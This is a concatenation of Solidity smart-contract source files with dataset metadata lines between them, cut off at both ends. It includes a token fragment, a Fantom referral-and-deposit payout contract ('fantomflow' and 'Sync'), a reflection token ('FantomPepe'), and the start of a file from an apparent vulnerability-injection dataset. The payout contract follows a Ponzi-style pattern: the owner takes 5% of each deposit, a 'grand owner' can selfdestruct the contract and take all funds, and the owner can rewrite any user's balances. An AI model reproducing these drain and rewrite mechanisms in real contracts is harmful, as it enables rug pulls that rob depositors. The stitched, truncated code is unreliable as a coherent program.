} else if (currentPrice > currentAth) { if (resetAthTime == 0) { resetAthTime = block.timestamp + 7 * 1 days; } else { if (block.timestamp >= resetAthTime) { resetAth(currentPrice); } } uint256 priceDifference = (10000 - (10000 * currentAth / currentPrice)); if (priceDifference / 100 >= supportThreshold) { bonusRewards = bonusRewardsMultiplier * supportThreshold; rewardsFee = rewardsFeeMultiplier * supportThreshold; } else { if (priceDifference % 100 >= 50) { bonusRewards = bonusRewardsMultiplier * ((priceDifference / 100) + 1); rewardsFee = rewardsFeeMultiplier * ((priceDifference / 100) + 1); } else { bonusRewards = bonusRewardsMultiplier * ((priceDifference / 100)); rewardsFee = rewardsFeeMultiplier * ((priceDifference / 100)); } } } } // Set the current ATH to current price function resetAth(uint256 _currentPrice) private { currentAth = _currentPrice; resetAthTime = 0; bonusRewards = 0; rewardsFee = 0; } // Contract sells for liquidity and treasury function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForTreasury + tokensForLiquidity; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 10) { contractBalance = swapTokensAtAmount * 10; } bool success; uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; swapTokensForETH(contractBalance - liquidityTokens); uint256 ethBalance = address(this).balance; uint256 ethForTreasury = ethBalance * tokensForTreasury / (totalTokensToSwap - (tokensForLiquidity / 2)); uint256 ethForLiquidity = ethBalance - ethForTreasury; tokensForLiquidity = 0; tokensForTreasury = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); } (success,) = address(skyTreasury).call{value: address(this).balance}(""); } // Swap native token for ETH function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } // Retrieve current exchange rate of native token for 1 WETH function getCurrentPrice() public view returns (uint256) { try uniswapV2Router.getAmountsOut(1 * 10**18, wethContractPath) returns (uint256[] memory amounts) { return amounts[1]; } catch { return 0; } } }
172,334
12,151
153905c76685910dd39d74a99526462ab757b9cf4e5750497272e3ccf3ca374e
19,953
.sol
Solidity
false
454085139
tintinweb/smart-contract-sanctuary-fantom
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
contracts/mainnet/70/700693800f7CA0CEEb108dbf22b265be5F04cdF4_Sync.sol
4,405
15,466
pragma solidity 0.6.8; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Pausable is Context { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } function paused() public view returns (bool) { return _paused; } modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } contract Destructible { address payable public grand_owner; event GrandOwnershipTransferred(address indexed previous_owner, address indexed new_owner); constructor() public { grand_owner = msg.sender; } function transferGrandOwnership(address payable _to) external { require(msg.sender == grand_owner, "Access denied (only grand owner)"); grand_owner = _to; } function destruct() external { require(msg.sender == grand_owner, "Access denied (only grand owner)"); selfdestruct(grand_owner); } } contract fantomflow is Ownable, Destructible, Pausable { struct User { uint256 cycle; address upline; uint256 referrals; uint256 payouts; uint256 direct_bonus; uint256 pool_bonus; uint256 match_bonus; uint256 deposit_amount; uint256 deposit_payouts; uint40 deposit_time; uint256 total_deposits; uint256 total_payouts; uint256 total_structure; } mapping(address => User) public users; uint256[] public cycles; // ether uint8[] public ref_bonuses; // 1 => 1% uint8[] public pool_bonuses; // 1 => 1% uint40 public pool_last_draw = uint40(block.timestamp); uint256 public pool_cycle; uint256 public pool_balance; mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum; mapping(uint8 => address) public pool_top; uint256 public total_withdraw; event Upline(address indexed addr, address indexed upline); event NewDeposit(address indexed addr, uint256 amount); event DirectPayout(address indexed addr, address indexed from, uint256 amount); event MatchPayout(address indexed addr, address indexed from, uint256 amount); event PoolPayout(address indexed addr, uint256 amount); event Withdraw(address indexed addr, uint256 amount); event LimitReached(address indexed addr, uint256 amount); constructor() public { ref_bonuses.push(10); ref_bonuses.push(8); ref_bonuses.push(7); ref_bonuses.push(6); ref_bonuses.push(5); ref_bonuses.push(5); ref_bonuses.push(5); ref_bonuses.push(5); ref_bonuses.push(4); ref_bonuses.push(4); ref_bonuses.push(1); ref_bonuses.push(1); ref_bonuses.push(1); ref_bonuses.push(1); ref_bonuses.push(1); pool_bonuses.push(40); pool_bonuses.push(30); pool_bonuses.push(20); pool_bonuses.push(10); cycles.push(20000 ether); cycles.push(40000 ether); cycles.push(90000 ether); cycles.push(200000 ether); } receive() payable external whenNotPaused { _deposit(msg.sender, msg.value); } function _setUpline(address _addr, address _upline) private { if(users[_addr].upline == address(0) && _upline != _addr && (users[_upline].deposit_time > 0 || _upline == owner())) { users[_addr].upline = _upline; users[_upline].referrals++; emit Upline(_addr, _upline); for(uint8 i = 0; i < ref_bonuses.length; i++) { if(_upline == address(0)) break; users[_upline].total_structure++; _upline = users[_upline].upline; } } } function _deposit(address _addr, uint256 _amount) private { require(users[_addr].upline != address(0) || _addr == owner(), "No upline"); if(users[_addr].deposit_time > 0) { users[_addr].cycle++; require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists"); require(_amount >= users[_addr].deposit_amount && _amount <= cycles[users[_addr].cycle > cycles.length - 1 ? cycles.length - 1 : users[_addr].cycle], "Bad amount"); } else require(_amount >= 200 ether && _amount <= cycles[0], "Bad amount"); users[_addr].payouts = 0; users[_addr].deposit_amount = _amount; users[_addr].deposit_payouts = 0; users[_addr].deposit_time = uint40(block.timestamp); users[_addr].total_deposits += _amount; emit NewDeposit(_addr, _amount); if(users[_addr].upline != address(0)) { users[users[_addr].upline].direct_bonus += _amount / 10; emit DirectPayout(users[_addr].upline, _addr, _amount / 10); } _pollDeposits(_addr, _amount); if(pool_last_draw + 1 days < block.timestamp) { _drawPool(); } payable(owner()).transfer(_amount / 20); } function _pollDeposits(address _addr, uint256 _amount) private { pool_balance += _amount / 100; address upline = users[_addr].upline; if(upline == address(0)) return; pool_users_refs_deposits_sum[pool_cycle][upline] += _amount; for(uint8 i = 0; i < pool_bonuses.length; i++) { if(pool_top[i] == upline) break; if(pool_top[i] == address(0)) { pool_top[i] = upline; break; } if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) { for(uint8 j = i + 1; j < pool_bonuses.length; j++) { if(pool_top[j] == upline) { for(uint8 k = j; k <= pool_bonuses.length; k++) { pool_top[k] = pool_top[k + 1]; } break; } } for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) { pool_top[j] = pool_top[j - 1]; } pool_top[i] = upline; break; } } } function _refPayout(address _addr, uint256 _amount) private { address up = users[_addr].upline; for(uint8 i = 0; i < ref_bonuses.length; i++) { if(up == address(0)) break; if(users[up].referrals >= i + 1) { uint256 bonus = _amount * ref_bonuses[i] / 100; users[up].match_bonus += bonus; emit MatchPayout(up, _addr, bonus); } up = users[up].upline; } } function _drawPool() private { pool_last_draw = uint40(block.timestamp); pool_cycle++; uint256 draw_amount = pool_balance / 10; for(uint8 i = 0; i < pool_bonuses.length; i++) { if(pool_top[i] == address(0)) break; uint256 win = draw_amount * pool_bonuses[i] / 100; users[pool_top[i]].pool_bonus += win; pool_balance -= win; emit PoolPayout(pool_top[i], win); } for(uint8 i = 0; i < pool_bonuses.length; i++) { pool_top[i] = address(0); } } function deposit(address _upline) payable external whenNotPaused { _setUpline(msg.sender, _upline); _deposit(msg.sender, msg.value); } function withdraw() external whenNotPaused { (uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender); require(users[msg.sender].payouts < max_payout, "Full payouts"); // Deposit payout if(to_payout > 0) { if(users[msg.sender].payouts + to_payout > max_payout) { to_payout = max_payout - users[msg.sender].payouts; } users[msg.sender].deposit_payouts += to_payout; users[msg.sender].payouts += to_payout; _refPayout(msg.sender, to_payout); } // Direct payout if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) { uint256 direct_bonus = users[msg.sender].direct_bonus; if(users[msg.sender].payouts + direct_bonus > max_payout) { direct_bonus = max_payout - users[msg.sender].payouts; } users[msg.sender].direct_bonus -= direct_bonus; users[msg.sender].payouts += direct_bonus; to_payout += direct_bonus; } // Pool payout if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) { uint256 pool_bonus = users[msg.sender].pool_bonus; if(users[msg.sender].payouts + pool_bonus > max_payout) { pool_bonus = max_payout - users[msg.sender].payouts; } users[msg.sender].pool_bonus -= pool_bonus; users[msg.sender].payouts += pool_bonus; to_payout += pool_bonus; } // Match payout if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) { uint256 match_bonus = users[msg.sender].match_bonus; if(users[msg.sender].payouts + match_bonus > max_payout) { match_bonus = max_payout - users[msg.sender].payouts; } users[msg.sender].match_bonus -= match_bonus; users[msg.sender].payouts += match_bonus; to_payout += match_bonus; } require(to_payout > 0, "Zero payout"); users[msg.sender].total_payouts += to_payout; total_withdraw += to_payout; payable(msg.sender).transfer(to_payout); emit Withdraw(msg.sender, to_payout); if(users[msg.sender].payouts >= max_payout) { emit LimitReached(msg.sender, users[msg.sender].payouts); } } function drawPool() external onlyOwner { _drawPool(); } function pause() external onlyOwner { _pause(); } function unpause() external onlyOwner { _unpause(); } function maxPayoutOf(uint256 _amount) pure external returns(uint256) { return _amount * 20 / 10; } function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) { max_payout = this.maxPayoutOf(users[_addr].deposit_amount); if(users[_addr].deposit_payouts < max_payout) { payout = (users[_addr].deposit_amount * ((block.timestamp - users[_addr].deposit_time) / 1 days) / 20) - users[_addr].deposit_payouts; if(users[_addr].deposit_payouts + payout > max_payout) { payout = max_payout - users[_addr].deposit_payouts; } } } function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) { return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus); } function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) { return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure); } function contractInfo() view external returns(uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _pool_lider) { return (total_withdraw, pool_last_draw, pool_balance, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]]); } function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) { for(uint8 i = 0; i < pool_bonuses.length; i++) { if(pool_top[i] == address(0)) break; addrs[i] = pool_top[i]; deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]; } } } contract Sync is fantomflow { bool public sync_close = false; function sync(address[] calldata _users, address[] calldata _uplines, uint256[] calldata _data) external onlyOwner { require(!sync_close, "Sync already close"); for(uint256 i = 0; i < _users.length; i++) { address addr = _users[i]; uint256 q = i * 12; //require(users[_uplines[i]].total_deposits > 0, "No upline"); if(users[addr].total_deposits == 0) { emit Upline(addr, _uplines[i]); } users[addr].cycle = _data[q]; users[addr].upline = _uplines[i]; users[addr].referrals = _data[q + 1]; users[addr].payouts = _data[q + 2]; users[addr].direct_bonus = _data[q + 3]; users[addr].pool_bonus = _data[q + 4]; users[addr].match_bonus = _data[q + 5]; users[addr].deposit_amount = _data[q + 6]; users[addr].deposit_payouts = _data[q + 7]; users[addr].deposit_time = uint40(_data[q + 8]); users[addr].total_deposits = _data[q + 9]; users[addr].total_payouts = _data[q + 10]; users[addr].total_structure = _data[q + 11]; } } function syncGlobal(uint40 _pool_last_draw, uint256 _pool_cycle, uint256 _pool_balance, uint256 _total_withdraw, address[] calldata _pool_top) external onlyOwner { require(!sync_close, "Sync already close"); pool_last_draw = _pool_last_draw; pool_cycle = _pool_cycle; pool_balance = _pool_balance; total_withdraw = _total_withdraw; for(uint8 i = 0; i < pool_bonuses.length; i++) { pool_top[i] = _pool_top[i]; } } function syncUp() external payable {} function syncClose() external onlyOwner { require(!sync_close, "Sync already close"); sync_close = true; } }
325,774
12,152
54c8a51001b2900c28f1d2967280f106b7b57d468466249040c5c7dcfd34908b
29,503
.sol
Solidity
false
454085139
tintinweb/smart-contract-sanctuary-fantom
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
contracts/mainnet/2e/2E4723c1ACAB289741c006504626F6e708d5f966_FantomPepe.sol
5,211
18,746
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract FantomPepe is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; mapping (address => bool) public isAllowed; address[] private _excluded; uint8 private constant _decimals = 18; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000 ether; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _tBurnTotal; string private constant _name = 'Fantom Pepe'; string private constant _symbol = 'fPEPE'; uint256 private _taxFee = 0; uint256 private _burnFee = 0; uint public max_tx_size = 1000000000000 ether; bool public isPaused = false; constructor () public { _rOwned[_msgSender()] = _rTotal; isAllowed[_msgSender()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function totalBurn() public view returns (uint256) { return _tBurnTotal; } function toggleAllowed(address addr) external onlyOwner { isAllowed[addr] = !isAllowed[addr]; } function unpause() external returns (bool){ require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call"); isPaused = false; return true; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7c320fee0b74D5b3759fC45d5c8dC10f8C8Da03E, 'We can not exclude router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused"); if(sender != owner() && recipient != owner()) require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private { _rTotal = _rTotal.sub(rFee).sub(rBurn); _tFeeTotal = _tFeeTotal.add(tFee); _tBurnTotal = _tBurnTotal.add(tBurn); _tTotal = _tTotal.sub(tBurn); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100); uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn); return (tTransferAmount, tFee, tBurn); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rBurn = tBurn.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() public view returns(uint256) { return _taxFee; } function _getBurnFee() public view returns(uint256) { return _burnFee; } function _setTaxFee(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function _setBurnFee(uint256 burnFee) external onlyOwner() { _burnFee = burnFee; } function setMaxTxAmount(uint newMax) external onlyOwner { max_tx_size = newMax; } }
324,558
12,153
6e20e9815cc1ef963977f90517ece36651dd098fc4df8342f4113d666897c881
25,021
.sol
Solidity
false
293466625
xf97/HuangGai
40a349be6102d5eb63893fb914659405ae162d93
injectedContractDataSet/contractAffectedByMiners/0x0061c52768378b84306b2665f098c3e0b2C03308_affectedByMiners.sol
4,513
17,136
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.6.12; // library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b 